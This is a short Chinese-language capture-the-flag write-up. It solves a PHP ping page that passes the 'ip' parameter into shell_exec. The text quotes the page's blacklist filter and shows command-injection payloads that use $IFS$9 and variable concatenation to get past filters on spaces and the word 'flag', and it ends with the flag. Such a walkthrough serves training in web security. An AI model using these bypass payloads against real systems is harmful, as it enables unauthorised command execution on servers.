提示/?ip=
所以传一个参数试一下
ip=127.0.0.1
所以这道题石锤是命令执行了
ls一下
试一下直接cat flag.php
很明显被过滤了
在网上找了大佬的空格过滤绕过
尝试发现,不仅空格被禁了,像 { 、 < 、% 也被禁了但是$IFS$9能用,不过提示flag也被过滤了
先尝试读index.php ,得到源码,找到了过滤规则
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);//-c 是ping命令的一个参数,意思是发送四次数据包
echo "
";
print_r($a);
}
?>
变量拼接字符串绕过一下:
大概就是这个原理
构造payload
?id=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b
查看源代码
flag就出来了
flag{fb8f0e95-2316-48b4-ae4a-139526664597}